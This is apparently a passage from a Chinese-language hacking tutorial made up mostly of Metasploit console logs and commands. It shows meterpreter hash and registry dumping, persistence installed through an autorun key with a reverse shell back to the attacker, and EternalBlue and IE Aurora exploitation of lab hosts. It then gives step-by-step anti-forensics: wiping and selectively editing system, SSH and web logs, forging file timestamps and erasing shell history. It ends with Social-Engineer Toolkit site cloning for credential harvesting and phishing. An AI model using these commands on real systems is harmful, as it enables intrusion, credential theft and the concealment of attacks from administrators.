rpcapd.exe in Windows Firewall [*] Installing rpcap in PASSIVE mode (local port: 2002) [+] Rpcapd started successfully: C:\Program Files (x86)\winpcap\rpcapd.exe -d -p 2002 -n获取系统信息Windows 10meterpreter >run scraper [*] New session on 192.168.0.106:7216... [*] Gathering basic system information... [-] Failed to run command net view [-] Error: Rex::TimeoutError Operation timed out. [*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\Users\xiang\AppData\Local\Temp\WLNUaYcc.reg) [*] Cleaning HKCU [*] Exporting HKLM [-] Failed to run command reg.exe export HKLM C:\Users\xiang\AppData\Local\Temp\IymTDekJ.reg [-] Error: Rex::TimeoutError Operation timed out. [*] Downloading HKLM (C:\Users\xiang\AppData\Local\Temp\IymTDekJ.reg) [*] Exception: Rex::Post::Windows 7meterpreter > run scraper [*] New session on 192.168.0.158:445... [*] Gathering basic system information... [*] Dumping password hashes... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\Windows\TEMP\sbOwIdlG.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\Windows\TEMP\pQzbPtfD.reg) [*] Cleaning HKLM [*] Exporting HKCC [*] Downloading HKCC (C:\Windows\TEMP\xdgVency.reg) [*] Cleaning HKCC [*] Exporting HKCR [*] Downloading HKCR (C:\Windows\TEMP\aWoyKSRV.reg) [*] Cleaning HKCR [*] Exporting HKU [*] Downloading HKU (C:\Windows\TEMP\abgTRNGl.reg) [*] Cleaning HKU [*] Completed processing on 192.168.0.158:445...Windows 2003 meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > run scraper [*] New session on 192.168.0.169:1438... [*] Gathering basic system information... [*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\IatUIdPZ.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\JcjKKLfF.reg) [*] Cleaning HKLM [*] Exporting HKCC [*] Downloading HKCC (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\gLgAxVWq.reg) [*] Cleaning HKCC [*] Exporting HKCR [*] Downloading HKCR (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\KDJAycay.reg) [*] Cleaning HKCR [*] Exporting HKU [*] Downloading HKU (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\zebuwlsT.reg) [*] Cleaning HKU [*] Completed processing on 192.168.0.169:1438... 控制持久化meterpreter > run persistence -X -i 50 -p 8888 -r 192.168.0.106启动meterpreter:-X50秒后重连:-i 50使用端口8888:-p 8888目的IP 192.168.0.106:-r 192.168.0.106meterpreter > run persistence -X -i 50 -p 8888 -r 192.168.0.106 [!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence. [!] Example: run exploit/windows/local/persistence OPTION=value [...] [*] Running Persistence Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-2VEIIKHJ7M8_20220628.5835/WIN-2VEIIKHJ7M8_20220628.5835.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 [*] Persistent agent script is 99674 bytes long [+] Persistent Script written to C:\Windows\TEMP\QQxsjpmT.vbs [*] Executing script C:\Windows\TEMP\QQxsjpmT.vbs [+] Agent executed with PID 2580 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MdedIPrvpFMB [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MdedIPrvpFMBWindows7成功将命令行shell升级为Metewrpreter msf6> use exploit/windows/smb/ms17_010_eternalblue [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhost 192.168.0.158 rhost => 192.168.0.158 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z-z:攻击成功,在后台,不进入 [*] Started reverse TCP handler on 192.168.0.150:4444 [*] 192.168.0.158:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.0.158:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit) [*] 192.168.0.158:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.0.158:445 - The target is vulnerable. [*] 192.168.0.158:445 - Connecting to target for exploitation. [+] 192.168.0.158:445 - Connection established for exploitation. [+] 192.168.0.158:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.0.158:445 - CORE raw buffer dump (40 bytes) [*] 192.168.0.158:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B [*] 192.168.0.158:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic [*] 192.168.0.158:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1 [+] 192.168.0.158:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.0.158:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.0.158:445 - Sending all but last fragment of exploit packet [*] 192.168.0.158:445 - Starting non-paged pool grooming [+] 192.168.0.158:445 - Sending SMBv2 buffers [+] 192.168.0.158:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.0.158:445 - Sending final SMBv2 buffers. [*] 192.168.0.158:445 - Sending last fragment of exploit packet! [*] 192.168.0.158:445 - Receiving response from exploit packet [+] 192.168.0.158:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.0.158:445 - Sending egg to corrupted connection. [*] 192.168.0.158:445 - Triggering free of corrupted buffer. [*] Sending stage (200774 bytes) to 192.168.0.158 [*] Meterpreter session 3 opened (192.168.0.150:4444 -> 192.168.0.158:49321) at 2022-06-28 14:13:48 +0800 [+] 192.168.0.158:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.0.158:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.0.158:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Session 3 created in the background. msf6 exploit(windows/smb/ms17_010_eternalblue) > session -u 3 [-] Unknown command: session msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -u 3 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [3] [*] Upgrading session ID: 3 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.0.150:4433 msf6 exploit(windows/smb/ms17_010_eternalblue) > [*] Sending stage (200774 bytes) to 192.168.0.158 [*] Meterpreter session 4 opened (192.168.0.150:4433 -> 192.168.0.158:49325) at 2022-06-28 14:14:39 +0800 [*] Stopping exploit/multi/handler msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4 [*] Starting interaction with 4...*/ meterpreter > meterpreter > irb [*] Starting IRB shell... [*] You are in the "client" (session) object irb: warn: can't alias kill from irb_kill. >> fs.dir.pwd => "C:\\Windows\\system32"对IE浏览器激光漏洞进行渗透利用Windows XP msf6 > use exploit/windows/browser/ms10_002_aurora [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(windows/browser/ms10_002_aurora) > show options Module options (exploit/windows/browser/ms10_002_aurora): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.150 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(windows/browser/ms10_002_aurora) > set SRVPORT 80 SRVPORT => 80 msf6 exploit(windows/browser/ms10_002_aurora) > set URIPATH / URIPATH => / msf6 exploit(windows/browser/ms10_002_aurora) > set lport 443 lport => 443 msf6 exploit(windows/browser/ms10_002_aurora) > exploit -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.0.150:443 [*] Using URL: http://192.168.0.150/ [*] Server started. msf6 exploit(windows/browser/ms10_002_aurora) > [*] 192.168.0.106 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption抹杀记录当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。WindowsPowerShell修改时间命令$(DATE) 表示当前日期和时间;$(Get-Date) 同$(DATE),表示当前日期和时间;$(Get-Date "MM/DD/YYYY HH24:MI:SS") 表示指定的日期和时间;$(Get-Item abc.txt) 表示获取文件的句柄;$(Get-Item abc.txt).creationtime 获取文件创建时间$(Get-Item abc.txt).lastaccesstime 获取文件最后访问时间$(Get-Item abc.txt).lastwritetime 获取文件修改时间 # 设置文件test.txt的时间为当前时间$(Get-Item abc.txt).creationtime=$(DATE)$(Get-Item abc.txt).lastaccesstime=$(DATE)$(Get-Item abc.txt).lastwritetime=$(DATE) # 设置文件abc.txt的时间为指定的某个时间$(Get-Item abc.txt).creationtime=$(Get-Date "11/04/2019 20:42:23")$(Get-Item abc.txt).lastaccesstime=$(Get-Date "11/04/2019 20:42:23")$(Get-Item abc.txt).lastwritetime=$(Get-Date "11/04/2019 20:42:23")其他记录清理“运行”中的历史记录开始菜单中的“运行”菜单里保存着我们通过它运行过的程序及所打开的文件路径与名称。进入注册表编辑器,找到HKEY_CURRENT_ USER\Sortware\Microsoft\Windows\Currentversion\Esploier\Runmru分支。从中选择不需要的或不想要别人看到的记录删除即可。清理“查找”中的历史记录(1)、清理查找计算机的历史记录进入注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5647分支,选择不需要的或是不想让别人看到的记录删除即可。(2)清理查找文件的历史记录进入注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603分支,从中选择不需要的或是不想让别人看到的记录删除即可。清理“我最近的文档”中的历史记录在任务栏上右单击,打开“任务栏和开始菜单属性”对话框。单击“开始菜单”“自定义”“高级”,单击“清理”按钮即可清理最近访问过的全部文档。如图2。如果只想删除自己的记录,可以进入资源管理器中的“C:\Documentsnnd Settings\Adminnisyror(用户自己的帐号)\Recent”文件夹,删去自己不想要别人看到的文档即可。禁止显示上一次登录者的名称进入注册表编辑器,找到HKEY_ LOCAL_ MACHINE \ Software \ Microsoft \ windowsNT \ Currentversion \ Winlogin 分支,新建一个“DontDisplayLastUserName”的字符串值,并设为“1”,重新启动后,就再不会显示上次登录的用户名了,当需要显示上次登录的用户名时设为“0”即可。清理“回收站”在windows中简单地删除文件只是将文件转移到了“回收站”中,随时可以恢复查看。比较保险的做法是按住shift再点“删除”,或右击桌面上的“回收站”,选择“属性”,在“全局”选项卡中选择“所有驱动器均使用同一设置”,然后勾选下方的“删除时不将文件移回回收站,而是直接删除”,单击“确定”。清理剪切板中的记录剪贴板里有时会隐藏着我们太多的秘密,如果不关机就直接离开,下一个上机的人只要按一下Ctrl+V,刚才在剪贴板中的信息就被别人“盗取”了。无需研究如何清空剪贴板,只需用Ctrl+C再随便复制一段无关的内容,原来的内容就会被覆盖。清理TEMP文件夹中的记录许多应用程序通常会临时保存你的工作结果,离机前应删除被存放在C:\(系统安装盘符)Documents and Settings\Administrator(当前登录用户)\Local Settings\Temp目录下的临时文件。Linux修改文件时间戳 ls -l test.txt # 修改文件的修改时间和访问时间 touch -d "2018-04-18 08:00:00" test.txt touch -t 0101080000 test清除history历史命令记录#方法1 history # 查看历史操作命令(在Kali Linux下无效) cat ~/.bash_history # history记录文件 vim ~/.bash_history history –c#方法2使用vim打开一个文件vim test.txt # 设置vim不记录命令,vim会将命令历史记录,保存在viminfo文件中。 :set history=0 :!command#方法3#通过修改配置文件/etc/profile,使系统不再保存命令记录。默认情况下历史命令将保存1000条,可以将该值改为0,然后保存并退出,最后重启系统使得配置文件生效。HISTSIZE=0#方法4#登录后执行下面命令,不记录历史命令(.bash_history)unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0#方法5仅在Kali Linux下rm -rf /root/.zsh_history清除系统日志痕迹/var/log/btmp   记录所有登录失败信息,使用lastb命令查看/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看/var/log/wtmp记录所有用户的登录、注销信息,使用last命令查看/var/log/utmp记录当前已经登录的用户信息,使用w,who,users等命令查看/var/log/secure   记录与安全相关的日志信息/var/log/message  记录系统启动后的信息和错误日志echo > /var/log/btmp:#清除登录系统失败的记录,查看用lastb命令echo > /var/log/wtmp:#清除登录系统成功的记录,查看用last命令echo > /var/log/lastlog:清除用户最后一次登录时间,查看用lastlog命令echo >/var/log/utmp:清除当前登录用户的信息,查看使用w,who,users等命令cat /dev/null >/var/log/secure:清除安全日志记录cat /dev/null >/var/log/message:清除系统日志记录echo > /var/log/secure //登录信息echo > /var/log/messagesecho>/var/log/syslog //记录系统日志的服务echo>/var/log/xferlogecho>/var/log/auth.logecho>/var/log/user.logcat /dev/null > /var/adm/sylogcat /dev/null > /var/log/maillogcat /dev/null > /var/log/openwebmail.logcat /dev/null > /var/log/mail.info清除系统日志痕迹#日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录IPsed  -i '/自己的ip/'d  test.txtsed  -i '/192.168.1.2/'d test.txt# 全局替换登录IP地址:sed 's/要被取代的字串/新的字串/g'sed -i 's/192.168.1.1/192.168.1.2/g' test.txt隐藏远程SSH登录记录#隐身登录系统,不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i#不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –I清除Web入侵痕迹#直接替换日志ip地址sed -i 's/192.168.166.85/192.168.1.1/g' apache/logs/access.log#常见日志地址Apache%APATCH_HOME%//logs/access.log       # 访问日志%APATCH_HOME%/logs/error.log       # 错误日志Nginx%NHINX_HOME%/logs/access.log       # 访问日志%NHINX_HOME%/logs/error.log       # 错误日志Tomcat%TOMCAT_HOME%/logs/localhost_access_log.YYYY_MM_DD.txt       # 请求日志%TOMCAT_HOME%/logs/catalina.YYYY_MM_DD.log       # 启动日志%TOMCAT_HOME%/logs/localhost.YYYY_MM_DD.log        # 本地日志%TOMCAT_HOME%/logs/host-manager.YYYY_MM_DD.log       # manager管理日志%TOMCAT_HOME%/logs/manager.YYYY_MM_DD.log       # manager专有日志清除MySQL痕迹rm ~/.mysql_history cat /dev/null > ~/.mysql_history社会工程学 git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/ cd setoolkit pip3 install -r requirements.txt python setup.py gedit /etc/setoolkit/set.config网络钓鱼攻击(Spear-Phishing Attack Vector)利用文件格式漏洞(如PDF)等生成后门并通过email(GMAIL,SENDMAIL,)向目标发送带后门附件的电子邮件,诱使目标打开附件激活后门。例子:#cd /usr/share/set # ./setoolkit select from the menu 1) Social-Engineering Attacks 1) Perform a Mass Email Attack 3) Credential Harvester Attack Method 2) Site Cloner set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.0.150]: 192.168.0.150 set:webattack> Enter the url to clone: www.baidu.com [*] Cloning the website: http://www.baidu.com [*] This could take a little bit... The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below:WEB 方式攻击SET 可以克隆一个网站并植入后门以此迷惑目标打开此网站并中招。Java Applet 方式最成功的方式之一,并不是利用java 的漏洞,而是当目标浏览含后门的仿冒站点时会被询问是否允许执行web 中的java applet,一旦点击允许则payload 开始运行,目标将被重定向到真实的网站。用户端(Client-side)web exploit 方式利用用户端存在的软件漏洞,一般使用0day进行攻击的效果最好。账号密码获取(Username and Password Harvesting)通过克隆一个目标站并诱使攻击目标登陆,截获其账号密码。例如截获GMAIL 密码。标签页绑架(Tabnabbing):当目标打开多个标签页浏览网站并切换标签页时,网站侦测到目标的行为并显示让目标等待的信息,恰好目标打开了被绑架的标签页并要求在相似程度惊人的网站里输入登陆凭据,当目标输入之后登陆信息即被截获,同时被重定向到真实网站。中间人攻击(Man-Left-in-the-Middle)此方式使用已经被攻陷的网站的HTTP 请求或者网站的XSS 漏洞让用户的登陆信息发送至攻击者的HTTP 服务器。如果你发现了一个网站的XSS 漏洞,可以利用此漏洞构造一个URL发送给目标诱使其打开并登陆以截获登陆信息。Web Jacking当目标打开我们的网站时会有一个链接显示为正确的web 地址,此时若目标打开此仿冒链接会被定向到我们的仿冒网站,其登陆信息会被截获。混合模式(multi-attack)可同时使用以上多种攻击手段以提高成功率。介质感染攻击(Infectious Media Generator)可以让你生成一张光盘或者U盘,里面包含autorun.inf 来运行指定的后门文件或者file-format 漏洞文件。迷你USB 人机接口设备(Teensy USB HID)当电脑插入USB 设备且autorun.inf 被禁用时,可使用此方法将USB 设备模拟成一个键盘或鼠标设备,进而截获目标机器的击键记录。SET 其他特殊功能包括SET 交互式shell,可用来替代meterpreter;远程管理工具(RATTE);HTTP 隧道,当目标主机只开放HTTP 端口对外放行时可通过此功能与主机进行通信;WEB-GUI,包含了常用攻击和无线攻击向导,输入./set-web 即可运行。